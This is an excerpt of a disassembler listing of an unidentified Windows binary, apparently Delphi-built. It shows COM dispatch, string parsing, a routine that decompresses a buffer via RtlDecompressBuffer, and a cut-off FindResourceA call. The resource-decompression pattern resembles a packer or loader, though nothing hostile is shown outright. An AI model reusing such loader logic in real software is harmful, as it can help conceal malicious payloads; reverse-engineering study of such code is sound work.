		call	sub_400165BC
		pop	ecx
		jmp	short loc_400166C1
; ---------------------------------------------------------------------------


loc_400166BC:				; CODE XREF: sub_400165F0+C1j
		call	sub_4001606C


loc_400166C1:				; CODE XREF: sub_400165F0+CAj
		mov	esp, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_400165F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400166D0	proc near		; CODE XREF: sub_400166E8:loc_4001673Bp
		mov	ecx, off_4001B07C
		mov	dl, 1
		mov	eax, ds:off_40015D28
		call	sub_4000B0EC
		call	sub_400042E4
		retn
sub_400166D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400166E8	proc near		; DATA XREF: .itext:400193A6o
					; .bss:off_4001F294o

var_104		= byte ptr -104h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		mov	ebx, [ebp+arg_8]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		cmp	byte ptr [ebx+1], 40h
		jbe	short loc_40016719
		mov	ecx, off_4001AF64
		mov	dl, 1
		mov	eax, ds:off_40015D28
		call	sub_4000B0EC
		call	sub_400042E4


loc_40016719:				; CODE XREF: sub_400166E8+18j
		movzx	edx, word ptr [eax]
		cmp	dx, 9
		jnz	short loc_4001672A
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_40016740
; ---------------------------------------------------------------------------


loc_4001672A:				; CODE XREF: sub_400166E8+38j
		cmp	dx, 4009h
		jnz	short loc_4001673B
		mov	eax, [eax+8]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40016740
; ---------------------------------------------------------------------------


loc_4001673B:				; CODE XREF: sub_400166E8+47j
		call	sub_400166D0


loc_40016740:				; CODE XREF: sub_400166E8+40j
					; sub_400166E8+51j
		lea	eax, [ebp+var_104]
		push	eax
		movzx	ecx, byte ptr [ebx+2]
		inc	ecx
		movzx	eax, byte ptr [ebx+1]
		lea	edx, [ebx+eax+3]
		mov	eax, [ebp+var_4]
		call	sub_400165F0
		test	esi, esi
		jz	short loc_40016767
		mov	eax, esi
		call	sub_4000E3D8


loc_40016767:				; CODE XREF: sub_400166E8+76j
		mov	eax, [ebp+arg_C]
		push	eax
		push	esi
		lea	ecx, [ebp+var_104]
		mov	edx, ebx
		mov	eax, [ebp+var_4]
		call	sub_40016280
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_400166E8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016784	proc near		; CODE XREF: sub_40016858+4p
					; sub_40016874+D4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	0
		push	0
		push	ebx
		push	esi
		mov	[ebp+var_4], ecx
		mov	ebx, edx
		xor	edx, edx
		push	ebp
		push	offset loc_40016849
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	eax, 80020009h
		jnz	short loc_40016802
		mov	eax, [ebx+1Ch]
		push	eax
		lea	eax, [ebp+var_8]
		mov	edx, [ebx+4]
		call	sub_40004B0C
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		mov	edx, [ebx+0Ch]
		call	sub_40004B0C
		mov	eax, [ebp+var_C]
		push	eax
		mov	eax, [ebx+10h]
		push	eax
		lea	eax, [ebp+var_10]
		mov	edx, [ebx+8]
		call	sub_40004B0C
		mov	ecx, [ebp+var_10]
		mov	dl, 1
		mov	eax, ds:off_40015DDC
		call	sub_40015FB8
		mov	esi, eax
		cmp	[ebp+arg_0], 0
		jz	short loc_40016815
		mov	eax, ebx
		mov	edx, ds:off_40006ABC
		call	sub_40005400
		jmp	short loc_40016815
; ---------------------------------------------------------------------------


loc_40016802:				; CODE XREF: sub_40016784+25j
		push	eax
		push	0
		xor	ecx, ecx
		mov	dl, 1
		mov	eax, ds:off_40015D80
		call	sub_40015EE4
		mov	esi, eax


loc_40016815:				; CODE XREF: sub_40016784+6Dj
					; sub_40016784+7Cj
		cmp	[ebp+var_4], 0
		jz	short loc_40016827
		push	[ebp+var_4]
		mov	eax, esi
		jmp	sub_400042E4
; ---------------------------------------------------------------------------
		jmp	short loc_4001682E
; ---------------------------------------------------------------------------


loc_40016827:				; CODE XREF: sub_40016784+95j
		mov	eax, esi
		call	sub_400042E4


loc_4001682E:				; CODE XREF: sub_40016784+A1j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016850


loc_4001683B:				; CODE XREF: sub_40016784+CAj
		lea	eax, [ebp+var_10]
		mov	edx, 3
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40016849:				; DATA XREF: sub_40016784+15o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_4001683B
; ---------------------------------------------------------------------------


loc_40016850:				; CODE XREF: sub_40016784+C4j
					; DATA XREF: sub_40016784+B2o
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	4
sub_40016784	endp


; =============== S U B	R O U T	I N E =======================================



sub_40016858	proc near		; CODE XREF: sub_40016280+2B9p
		push	0
		xor	ecx, ecx
		call	sub_40016784
		retn
sub_40016858	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40016864	proc near		; CODE XREF: sub_40016874+A6p
		xor	ecx, ecx
		mov	edx, 20h
		call	sub_40003580
		retn
sub_40016864	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016874	proc near		; CODE XREF: sub_40016958+1Ep

var_30		= byte ptr -30h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD0h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_4]
		xor	edx, edx
		mov	edi, esp
		movzx	ecx, byte ptr [ebx+1]
		mov	[ebp+var_8], ecx
		test	ecx, ecx
		jz	short loc_400168DA
		add	ebx, 3
		mov	esi, [ebp+arg_10]


loc_40016895:				; CODE XREF: sub_40016874+61j
		movzx	eax, byte ptr [ebx]
		test	al, 80h
		jnz	short loc_400168C4
		cmp	al, 0Ch
		jz	short loc_400168B4
		cmp	al, 5
		jb	short loc_400168CB
		cmp	al, 7
		ja	short loc_400168CB
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	edx
		push	eax
		add	esi, 8
		jmp	short loc_400168D3
; ---------------------------------------------------------------------------


loc_400168B4:				; CODE XREF: sub_40016874+2Aj
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		add	esi, 10h
		jmp	short loc_400168D3
; ---------------------------------------------------------------------------


loc_400168C4:				; CODE XREF: sub_40016874+26j
		and	al, 7Fh
		or	eax, 4000h


loc_400168CB:				; CODE XREF: sub_40016874+2Ej
					; sub_40016874+32j
		push	edx
		push	dword ptr [esi]
		push	edx
		push	eax
		add	esi, 4


loc_400168D3:				; CODE XREF: sub_40016874+3Ej
					; sub_40016874+4Ej
		inc	ebx
		dec	ecx
		jnz	short loc_40016895
		mov	ebx, [ebp+arg_4]


loc_400168DA:				; CODE XREF: sub_40016874+19j
		mov	[ebp+var_10], esp
		movzx	eax, byte ptr [ebx+2]
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	short loc_400168F2
		mov	esi, [ebp+arg_C]


loc_400168EB:				; CODE XREF: sub_40016874+7Cj
		push	dword ptr [esi+eax*4-4]
		dec	eax
		jnz	short loc_400168EB


loc_400168F2:				; CODE XREF: sub_40016874+72j
		movzx	ecx, byte ptr [ebx]
		cmp	ecx, 4
		jnz	short loc_40016910
		push	0FFFFFFFDh
		inc	[ebp+var_4]
		cmp	byte ptr [ebx+3], 9
		jz	short loc_4001690B
		cmp	byte ptr [ebx+3], 0Dh
		jnz	short loc_40016910


loc_4001690B:				; CODE XREF: sub_40016874+8Fj
		mov	ecx, 8


loc_40016910:				; CODE XREF: sub_40016874+84j
					; sub_40016874+95j
		mov	[ebp+var_C], esp
		push	edx
		lea	eax, [ebp+var_30]
		push	eax
		push	ecx
		push	edx
		call	sub_40016864
		pop	edx
		pop	ecx
		push	[ebp+arg_14]
		lea	eax, [ebp+var_10]
		push	eax
		push	ecx
		push	edx
		push	offset dword_4001A7CC
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_0]
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+18h]
		test	eax, eax
		jz	short loc_4001694D
		lea	edx, [ebp+var_30]
		mov	cl, 1
		push	ecx
		mov	ecx, [ebp+4]
		jmp	sub_40016784
; ---------------------------------------------------------------------------


loc_4001694D:				; CODE XREF: sub_40016874+C9j
		mov	esp, edi
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	18h
sub_40016874	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016958	proc near		; DATA XREF: .itext:400193B8o
					; .bss:off_4001C000o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	eax, esp
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	eax
		push	dword ptr [ebx]
		lea	eax, [ebx+5]
		push	eax
		push	[ebp+arg_4]
		call	sub_40016874
		movzx	eax, byte ptr [ebx+4]
		mov	ebx, [ebp+arg_0]
		jmp	ds:off_40016989[eax*4]
; ---------------------------------------------------------------------------
off_40016989	dd offset loc_40016A2E	; DATA XREF: sub_40016958+2Ar
		dd offset loc_40016A2E
		dd offset loc_40016A2A
		dd offset loc_40016A2A
		dd offset loc_400169CD
		dd offset loc_400169D3
		dd offset loc_400169D9
		dd offset loc_400169D3
		dd offset loc_400169DF
		dd offset loc_400169F3
		dd offset loc_40016A2E
		dd offset loc_40016A2A
		dd offset loc_40016A07
		dd offset loc_400169F3
		dd offset loc_40016A2E
		dd offset loc_40016A2E
		dd offset loc_40016A2A
; ---------------------------------------------------------------------------


loc_400169CD:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+41o
		fld	dword ptr [esp+14h+var_C]
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169D3:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+45o ...
		fld	[esp+14h+var_C]
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169D9:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+49o
		fild	[esp+14h+var_C]
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169DF:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+51o
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_400169EB
		push	eax
		call	sub_40006B00


loc_400169EB:				; CODE XREF: sub_40016958+8Bj
		mov	eax, dword ptr [esp+14h+var_C]
		mov	[ebx], eax
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_400169F3:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+55o ...
		mov	eax, [ebx]
		test	eax, eax
		jz	short loc_400169FF
		push	eax
		mov	eax, [eax]
		call	dword ptr [eax+8]


loc_400169FF:				; CODE XREF: sub_40016958+9Fj
		mov	eax, dword ptr [esp+14h+var_C]
		mov	[ebx], eax
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_40016A07:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+61o
		mov	eax, ebx
		call	sub_4000E3D8
		mov	eax, [esp+14h+var_14]
		mov	[ebx], eax
		mov	eax, [esp+14h+var_10]
		mov	[ebx+4], eax
		mov	eax, dword ptr [esp+14h+var_C]
		mov	[ebx+8], eax
		mov	eax, dword ptr [esp+14h+var_C+4]
		mov	[ebx+0Ch], eax
		jmp	short loc_40016A2E
; ---------------------------------------------------------------------------


loc_40016A2A:				; CODE XREF: sub_40016958+2Aj
					; DATA XREF: sub_40016958+39o ...
		mov	eax, dword ptr [esp+14h+var_C]


loc_40016A2E:				; CODE XREF: sub_40016958+2Aj
					; sub_40016958+79j ...
		add	esp, 10h
		pop	ebx
		pop	ebp
		retn
sub_40016958	endp


; =============== S U B	R O U T	I N E =======================================



sub_40016A34	proc near		; DATA XREF: .itext:400193E6o
					; .bss:off_4001C044o
		cmp	ds:dword_4001F370, 0
		jz	short loc_40016A43
		call	ds:dword_4001F370


loc_40016A43:				; CODE XREF: sub_40016A34+7j
		cmp	dword_4001ADA0,	0FFFFFFFFh
		jz	short loc_40016A9B
		cmp	dword_4001AD8C,	0
		jz	short loc_40016A9B
		mov	eax, dword_4001ADA0
		push	eax
		push	0
		call	dword_4001AD8C
		test	eax, 80000000h
		setz	al
		mov	ds:byte_4001F374, al
		mov	eax, off_4001AF20
		cmp	byte ptr [eax],	0
		jnz	short loc_40016A90
		test	byte ptr dword_4001ADA0, 2
		jnz	short loc_40016A90
		cmp	dword_4001ADA0,	0
		jz	short loc_40016A90
		xor	eax, eax
		jmp	short loc_40016A92
; ---------------------------------------------------------------------------


loc_40016A90:				; CODE XREF: sub_40016A34+44j
					; sub_40016A34+4Dj ...
		mov	al, 1


loc_40016A92:				; CODE XREF: sub_40016A34+5Aj
		mov	edx, off_4001AF20
		mov	[edx], al
		retn
; ---------------------------------------------------------------------------


loc_40016A9B:				; CODE XREF: sub_40016A34+16j
					; sub_40016A34+1Fj
		push	0
		call	sub_40006AF0
		test	eax, 80000000h
		setz	al
		mov	ds:byte_4001F374, al
		retn
sub_40016A34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016AB0	proc near		; DATA XREF: .text:400183D0o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_40016B26
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001F364
		jnz	short loc_40016B18
		mov	ds:byte_4001F368, 1
		mov	eax, ds:dword_4001F36C
		call	sub_40003CE8
		mov	eax, off_4001B054
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001AEF8
		xor	edx, edx
		mov	[eax], edx
		mov	eax, off_4001B02C
		xor	edx, edx
		mov	[eax], edx
		cmp	ds:byte_4001F374, 0
		jz	short loc_40016B03
		call	sub_40006AF8


loc_40016B03:				; CODE XREF: sub_40016AB0+4Cj
		mov	eax, offset dword_4001ADA4
		mov	ecx, 5
		mov	edx, ds:off_40001000
		call	sub_40005314


loc_40016B18:				; CODE XREF: sub_40016AB0+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016B2D


loc_40016B25:				; CODE XREF: sub_40016AB0+7Bj
		retn
; ---------------------------------------------------------------------------


loc_40016B26:				; DATA XREF: sub_40016AB0+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016B25
; ---------------------------------------------------------------------------


loc_40016B2D:				; CODE XREF: sub_40016AB0:loc_40016B25j
					; DATA XREF: sub_40016AB0+70o
		pop	ebp
		retn
sub_40016AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40016B30	proc near		; CODE XREF: sub_40016B44+7Fp
		jmp	ds:dword_40024668
sub_40016B30	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40016B38	proc near		; CODE XREF: sub_40016B44+25p
					; sub_40016C04+31p ...
		test	eax, eax
		jz	short locret_40016B41
		sub	eax, 4
		mov	eax, [eax]

locret_40016B41:			; CODE XREF: sub_40016B38+2j
		retn
sub_40016B38	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016B44	proc near		; CODE XREF: .itext:400197C1p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40016BF1
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, [ebp+arg_4]
		call	sub_40016B38
		mov	ebx, eax
		cmp	ebx, 4
		jbe	short loc_40016BD4
		lea	eax, [ebp+arg_4]
		call	sub_40004DA0
		mov	edi, eax
		mov	edx, [edi]
		mov	eax, esi
		call	sub_40004F74
		cmp	dword ptr [edi], 80000h
		jbe	short loc_40016B99
		mov	[ebp+var_8], 2
		jmp	short loc_40016BA0
; ---------------------------------------------------------------------------


loc_40016B99:				; CODE XREF: sub_40016B44+4Aj
		mov	[ebp+var_8], 102h


loc_40016BA0:				; CODE XREF: sub_40016B44+53j
		lea	eax, [ebp+var_4]
		push	eax
		sub	ebx, 4
		push	ebx
		lea	eax, [ebp+arg_4]
		call	sub_40004DA0
		add	eax, 4
		push	eax
		mov	eax, [edi]
		push	eax
		mov	eax, esi
		call	sub_40004DA0
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40016B30	; RtlDecompressBuffer
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_40004F74
		jmp	short loc_40016BDB
; ---------------------------------------------------------------------------


loc_40016BD4:				; CODE XREF: sub_40016B44+2Fj
		mov	eax, esi
		call	sub_40004884


loc_40016BDB:				; CODE XREF: sub_40016B44+8Ej
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016BF8


loc_40016BE8:				; CODE XREF: sub_40016B44+B2j
		lea	eax, [ebp+arg_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40016BF1:				; DATA XREF: sub_40016B44+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016BE8
; ---------------------------------------------------------------------------


loc_40016BF8:				; CODE XREF: sub_40016B44+ACj
					; DATA XREF: sub_40016B44+9Fo
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn	8
sub_40016B44	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016C04	proc near		; CODE XREF: .itext:400197CEp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	[ebp+var_10], eax
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40016CCD
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	eax, esi
		call	sub_40004884
		mov	eax, [ebp+arg_4]
		call	sub_40016B38
		mov	[ebp+var_8], eax
		mov	edi, 1
		cmp	edi, [ebp+var_8]
		ja	short loc_40016CAF


loc_40016C47:				; CODE XREF: sub_40016C04+A9j
		mov	eax, [ebp+arg_4]
		movzx	ebx, byte ptr [eax+edi-1]
		test	bl, bl
		jnz	short loc_40016C8F
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax+edi]
		mov	[ebp+var_1], al
		mov	eax, [esi]
		call	sub_40016B38
		mov	[ebp+var_C], eax
		movzx	edx, [ebp+var_1]
		add	edx, [ebp+var_C]
		mov	eax, esi
		call	sub_40004F74
		mov	eax, esi
		call	sub_40004DA0
		mov	edx, [ebp+var_C]
		add	eax, edx
		movzx	edx, [ebp+var_1]
		xor	ecx, ecx
		call	sub_40003580
		inc	edi
		jmp	short loc_40016CA9
; ---------------------------------------------------------------------------


loc_40016C8F:				; CODE XREF: sub_40016C04+4Dj
		lea	eax, [ebp+var_10]
		mov	edx, [ebp+arg_4]
		movzx	edx, byte ptr [edx+edi-1]
		call	sub_40004A6C
		mov	edx, [ebp+var_10]
		mov	eax, esi
		call	sub_40004B50


loc_40016CA9:				; CODE XREF: sub_40016C04+89j
		inc	edi
		cmp	edi, [ebp+var_8]
		jbe	short loc_40016C47


loc_40016CAF:				; CODE XREF: sub_40016C04+41j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016CD4


loc_40016CBC:				; CODE XREF: sub_40016C04+CEj
		lea	eax, [ebp+var_10]
		call	sub_40004884
		lea	eax, [ebp+arg_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40016CCD:				; DATA XREF: sub_40016C04+1Co
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016CBC
; ---------------------------------------------------------------------------


loc_40016CD4:				; CODE XREF: sub_40016C04+C8j
					; DATA XREF: sub_40016C04+B3o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	8
sub_40016C04	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40016CE0	proc near		; CODE XREF: .itext:40019A90p
		jmp	ds:dword_40024670
sub_40016CE0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016CE8	proc near		; CODE XREF: sub_40017374+41p
					; .itext:40019606p ...

var_104		= byte ptr -104h
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEFCh
		push	ebx
		push	esi
		xor	ecx, ecx
		mov	[ebp+var_4], ecx
		mov	esi, edx
		mov	ebx, eax
		xor	eax, eax
		push	ebp
		push	offset loc_40016D45
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	edx, [ebp+var_104]
		mov	eax, ebx
		call	sub_40003790
		lea	edx, [ebp+var_104]
		lea	eax, [ebp+var_4]
		call	sub_40004AE8
		mov	eax, esi
		mov	edx, [ebp+var_4]
		call	sub_400048D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016D4C


loc_40016D3C:				; CODE XREF: sub_40016CE8+62j
		lea	eax, [ebp+var_4]
		call	sub_40004884
		retn
; ---------------------------------------------------------------------------


loc_40016D45:				; DATA XREF: sub_40016CE8+17o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016D3C
; ---------------------------------------------------------------------------


loc_40016D4C:				; CODE XREF: sub_40016CE8+5Cj
					; DATA XREF: sub_40016CE8+4Fo
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40016CE8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40016D54	proc near		; CODE XREF: sub_40016D80+B4p
					; sub_40016D80+FBp
		push	ecx
		mov	edx, esp
		call	sub_4000379C
		pop	edx
		retn
sub_40016D54	endp

; ---------------------------------------------------------------------------
		align 10h
off_40016D60	dd offset dword_40016D64 ; DATA	XREF: sub_40016D80+7Dr
					; sub_40016D80+12Er ...
dword_40016D64	dd 312E0211h, 4			dd offset off_40001000
		dd 48h
		dd offset off_40001000
		dd 75745304h, 408D62h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40016D80	proc near		; CODE XREF: .itext:4001979Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		xor	ecx, ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_10], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		call	sub_40004D38
		xor	eax, eax
		push	ebp
		push	offset loc_40016F53
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		lea	eax, [ebp+var_8]
		mov	edx, [ebp+var_4]
		call	sub_4000491C


loc_40016DB5:				; CODE XREF: sub_40016D80+60j
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F6C
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40004DE8
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F6C
		call	sub_40004E30
		test	eax, eax
		jg	short loc_40016DB5
		xor	edi, edi
		lea	eax, [ebp+var_C]
		xor	ecx, ecx
		mov	edx, 4
		call	sub_40003580
		push	1
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, ds:off_40016D60
		call	sub_40005B28
		add	esp, 4
		jmp	loc_40016EE1
; ---------------------------------------------------------------------------


loc_40016E10:				; CODE XREF: sub_40016D80+170j
		lea	eax, [ebp+var_14]
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F78
		call	sub_40004E30
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_8]
		call	sub_40004DA8
		mov	eax, [ebp+var_14]
		call	sub_40016D54
		mov	ebx, eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F78
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40004DE8
		lea	eax, [ebp+var_18]
		push	eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F84
		call	sub_40004E30
		mov	ecx, eax
		dec	ecx
		mov	edx, 1
		mov	eax, [ebp+var_8]
		call	sub_40004DA8
		mov	eax, [ebp+var_18]
		call	sub_40016D54
		mov	esi, eax
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F84
		call	sub_40004E30
		mov	ecx, eax
		lea	eax, [ebp+var_8]
		mov	edx, 1
		call	sub_40004DE8
		cmp	edi, ebx
		jg	short loc_40016EBC
		lea	edi, [ebx+1]
		push	edi
		lea	eax, [ebp+var_C]
		mov	ecx, 1
		mov	edx, ds:off_40016D60
		call	sub_40005B28
		add	esp, 4


loc_40016EBC:				; CODE XREF: sub_40016D80+120j
		mov	eax, [ebp+var_C]
		lea	eax, [eax+ebx*4]
		push	eax
		mov	ecx, esi
		mov	edx, 1
		mov	eax, [ebp+var_4]
		call	sub_40004DA8
		lea	eax, [ebp+var_4]
		mov	ecx, esi
		mov	edx, 1
		call	sub_40004DE8


loc_40016EE1:				; CODE XREF: sub_40016D80+8Bj
		mov	edx, [ebp+var_8]
		mov	eax, offset dword_40016F84
		call	sub_40004E30
		test	eax, eax
		jg	loc_40016E10
		mov	eax, [ebp+var_10]
		call	sub_40004884
		mov	ebx, edi
		dec	ebx
		test	ebx, ebx
		jl	short loc_40016F1D
		inc	ebx
		xor	esi, esi


loc_40016F08:				; CODE XREF: sub_40016D80+19Bj
		mov	eax, [ebp+var_10]
		mov	edx, [ebp+var_C]
		mov	edx, [edx+esi*4]
		call	sub_40004B50
		mov	eax, [ebp+var_10]
		inc	esi
		dec	ebx
		jnz	short loc_40016F08


loc_40016F1D:				; CODE XREF: sub_40016D80+183j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40016F5A


loc_40016F2A:				; CODE XREF: sub_40016D80+1D8j
		lea	eax, [ebp+var_18]
		mov	edx, 2
		call	sub_400048A8
		lea	eax, [ebp+var_C]
		mov	edx, ds:off_40016D60
		call	sub_40005B34
		lea	eax, [ebp+var_8]
		mov	edx, 2
		call	sub_400048A8
		retn
; ---------------------------------------------------------------------------


loc_40016F53:				; DATA XREF: sub_40016D80+1Fo
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40016F2A
; ---------------------------------------------------------------------------


loc_40016F5A:				; CODE XREF: sub_40016D80+1D2j
					; DATA XREF: sub_40016D80+1A5o
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40016D80	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1
dword_40016F6C	dd 1, 0FFFFFFFFh, 1					; sub_40016D80+54o
dword_40016F78	dd 3Ah,	0FFFFFFFFh, 1					; sub_40016D80+BEo
dword_40016F84	dd 3Bh							; sub_40016D80+105o ...

; =============== S U B	R O U T	I N E =======================================



sub_40016F88	proc near		; CODE XREF: .itext:4001959Bp
					; .itext:4001970Cp
		push	ebx
		push	esi
		mov	esi, eax
		push	0Ah
		push	edx
		mov	eax, ds:dword_4001E7F8
		push	eax
		call	sub_40006538	; FindResourceA
		mov	ebx, eax
		push	ebx
		mov	eax, ds:dword_4001E7F8
		push	eax
